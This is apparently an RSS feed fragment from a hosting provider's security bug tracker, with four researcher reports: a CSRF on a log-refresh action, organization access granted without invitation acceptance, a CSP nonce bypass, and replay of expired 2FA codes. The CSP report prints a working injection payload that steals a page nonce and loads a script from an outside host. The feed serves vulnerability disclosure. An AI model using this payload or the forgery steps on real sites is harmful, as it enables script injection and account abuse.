      <pubDate>Thu, 16 Jul 2026 08:47:33 +0000</pubDate>
      <description><![CDATA[
<p>
Description 
</p>

<p>
The application does not properly validate whether a Logs Refresh request is initiated by the authenticated user. By creating a malicious CSRF PoC and replacing the service_id with the victim&#039;s service ID, an attacker can force a victim&#039;s authenticated browser to execute the Logs Refresh action without the victim&#039;s knowledge or interaction.
</p>

<p>
This allows unauthorized actions to be performed on behalf of authenticated users.
</p>

<p>
Steps to Reproduce
</p>

<p>
Log in with an attacker account.<br />Navigate to the Services section.<br />Create a new service.<br />Open another browser/private window and log in as a victim.<br />Create a service in the victim account.<br />Return to the attacker account.<br />Trigger the Logs Refresh functionality.<br />Capture the Logs Refresh request using Burp Suite.<br />Use Burp Suite Engagement Tools to generate a CSRF PoC.<br />Save the generated <acronym title="HyperText Markup Language">HTML</acronym> file.<br />Replace the attacker&#039;s service_id with the victim&#039;s service_id.<br />Open the modified PoC in the victim&#039;s authenticated browser.<br />Click Submit.<br />Observe that the victim&#039;s Logs Refresh action is executed successfully without the victim intentionally performing the action.
</p>

<p>
Expected Behavior
</p>

<p>
The application should validate that Logs Refresh requests are intentionally initiated by the authenticated user and should reject cross-origin requests without proper CSRF protection.
</p>

<p>
Actual Behavior
</p>

<p>
The application accepts the forged request and performs the Logs Refresh action using the victim&#039;s active session without requiring any additional validation.
</p>

<p>
Impact
</p>

<p>
An attacker can force authenticated users to execute Logs Refresh actions without their knowledge through a CSRF attack.<br />The attacker can repeatedly trigger Logs Refresh requests on behalf of the victim, potentially consuming the victim&#039;s available Logs Refresh quota/limit.<br />This may result in abuse of limited resources and prevent the victim from using the Logs Refresh functionality when needed.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/413</link>
      <guid>https://security.alwaysdata.com/task/413</guid>
    </item>
        <item>
      <title>FS#412: Direct Organization Access Granted, Leading to Organization Takeover</title>
      <author>Nex Xp</author>
      <pubDate>Thu, 16 Jul 2026 07:37:53 +0000</pubDate>
      <description><![CDATA[
<p>
Description
</p>

<p>
During testing, I discovered that when an owner creates a new user and assigns permissions, the user is immediately added to the organization without any invitation acceptance or verification step.
</p>

<p>
As a result, if an owner accidentally enters an attacker&#039;s email address and assigns a privileged role, the attacker gains direct access to the organization and its resources immediately after logging in.
</p>

<p>
This allows the newly created user to perform all actions associated with the assigned role without requiring approval or invitation acceptance.
</p>

<p>
Steps to Reproduce
</p>

<p>
Log in to the Owner account.<br />Navigate to Permissions.<br />Click Add User.<br />Enter a user&#039;s email address.<br />Assign all available permissions.<br />Click Create User.<br />Log in to the newly created user account.<br />Observe that the user is automatically added to the owner&#039;s organization with all assigned permissions.
</p>

<p>
 Impact
</p>

<p>
If an owner mistakenly enters an attacker&#039;s email address while creating a user, the attacker immediately gains access to the organization with the assigned permissions.
</p>

<p>
When high-privilege permissions are assigned, the attacker may be able to access sensitive data, manage users, modify organization settings, and potentially delete or take full control of the organization.
</p>

<p>
  Expected Behavior
</p>

<p>
Newly created users should be required to verify ownership of the invited email address and explicitly accept the invitation before gaining access to the organization.
</p>

<p>
 Actual Behavior
</p>

<p>
The user is automatically added to the organization with the assigned permissions immediately after account creation, without any invitation acceptance step.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/412</link>
      <guid>https://security.alwaysdata.com/task/412</guid>
    </item>
        <item>
      <title>FS#407: A Content Security Policy (CSP) bypass </title>
      <author>Ritik Raj</author>
      <pubDate>Tue, 14 Jul 2026 05:43:38 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Summary</strong> A Content Security Policy (CSP) bypass vulnerability exists on the website <a href="https://www.alwaysdata.com/en/" class="urlextern" title="https://www.alwaysdata.com/en/"  rel="nofollow">https://www.alwaysdata.com/en/</a>, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.
</p>

<p>
<strong>Description:</strong> Upon thorough analysis of the website&#039;s security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
</p>

<p>
 Details<br />Query for Nonce Attribute: The snippet starts by using document.querySelector(&#039;[nonce]&#039;) to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.<br />Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new &lt;script&gt; element called evil.<br />Set Source for Evil Script: The src attribute of the evil script element is set to &#039;<a href="https://www.evil.com/js/evil.js" class="urlextern" title="https://www.evil.com/js/evil.js"  rel="nofollow">https://www.evil.com/js/evil.js</a>&#039;. This <acronym title="Uniform Resource Locator">URL</acronym> points to a script hosted on a malicious domain (<a href="http://www.evil.com" class="urlextern" title="http://www.evil.com"  rel="nofollow">www.evil.com</a>), indicating that this script is potentially harmful.<br />Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : &#039;&#039;). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.<br />Append Evil Script to Document Head: Finally, the evil script element is appended to the &lt;head&gt; of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP&#039;s security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP&#039;s protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.
</p>

<p>
POC<br />1. Go to <a href="https://www.alwaysdata.com/en/" class="urlextern" title="https://www.alwaysdata.com/en/"  rel="nofollow">https://www.alwaysdata.com/en/</a> 2. Open dev tools and paste and execute this (replace <em>joaxcar.com/hack.js if you want)<br />3. document.getElementsByTagName(&quot;div&quot;)[0].innerHTML=`&lt;iframe srcdoc=&quot;&lt;div lang=en ng-app=application ng-csp class=ng-scope&gt;<br />&lt;script src=&#039;<a href="https://www.google.com/recaptcha/about/js/main.min.js" class="urlextern" title="https://www.google.com/recaptcha/about/js/main.min.js"  rel="nofollow">https://www.google.com/recaptcha/about/js/main.min.js</a>&#039;&gt;&lt;/script&gt;<br />&lt;img src=x ng-on-error=&#039;w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&amp;quot;[nonce]&amp;quot;);b=w.createElement(&amp;quot;script&amp;quot;);b.src=&amp;quot;</em>joaxcar.com/hack.js&amp;quot;;b.nonce=a.nonce;w.body.appendChild(b)&#039;&gt;<br />&lt;/div&gt;<br />&quot;&gt;`<br />4. See the popup, look at network tools and see that the script is loaded from
</p>

<p>
Impact:<br />This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.
</p>

<p>
 Payload<br />document.getElementsByTagName(&quot;div&quot;)[0].innerHTML=`&lt;iframe srcdoc=&quot;&lt;div lang=en ng-app=application ng-csp class=ng-scope&gt;<br />&lt;script src=&#039;<a href="https://www.google.com/recaptcha/about/js/main.min.js" class="urlextern" title="https://www.google.com/recaptcha/about/js/main.min.js"  rel="nofollow">https://www.google.com/recaptcha/about/js/main.min.js</a>&#039;&gt;&lt;/script&gt;<br />&lt;img src=x ng-on-error=&#039;w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&amp;quot;[nonce]&amp;quot;);b=w.createElement(&amp;quot;script&amp;quot;);b.src=&amp;quot;//joaxcar.com/hack.js&amp;quot;;b.nonce=a.nonce;w.body.appendChild(b)&#039;&gt;<br />&lt;/div&gt;<br />&quot;&gt;`<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/407</link>
      <guid>https://security.alwaysdata.com/task/407</guid>
    </item>
        <item>
      <title>FS#411: Expired Two-Factor Authentication (2FA) Code Accepted, Allowing Authentication Bypass</title>
      <author>Nex Xp</author>
      <pubDate>Wed, 15 Jul 2026 12:08:22 +0000</pubDate>
      <description><![CDATA[
<p>
Description
</p>

<p>
During testing, I discovered that the application accepts an expired 2FA verification code.
</p>

<p>
After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.
</p>

<p>
This indicates that the application does not properly validate the expiration time of 2FA verification codes.
</p>

<p>
Steps to Reproduce<br />Log in using a valid email address and password.<br />Enter the 2FA verification code.<br />Capture the 2FA verification request using Burp Suite.<br />Send the captured request to Burp Repeater.<br />Wait until the 2FA code has completed three rotations and is expired.<br />Send the request from Burp Repeater and observe a 302 Found response.<br />Forward the original intercepted request containing the same expired 2FA code.<br />Observe that the server again returns 302 Found and successfully authenticates the account.
</p>

<p>
Impact
</p>

<p>
An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.
</p>

<p>
 Expected Behavior
</p>

<p>
The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.
</p>

<p>
 Actual Behavior
</p>

<p>
The server accepts a 2FA code even after it has expired and successfully authenticates the user.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/411</link>
      <guid>https://security.alwaysdata.com/task/411</guid>
    </item>
      </channel>
</rss>
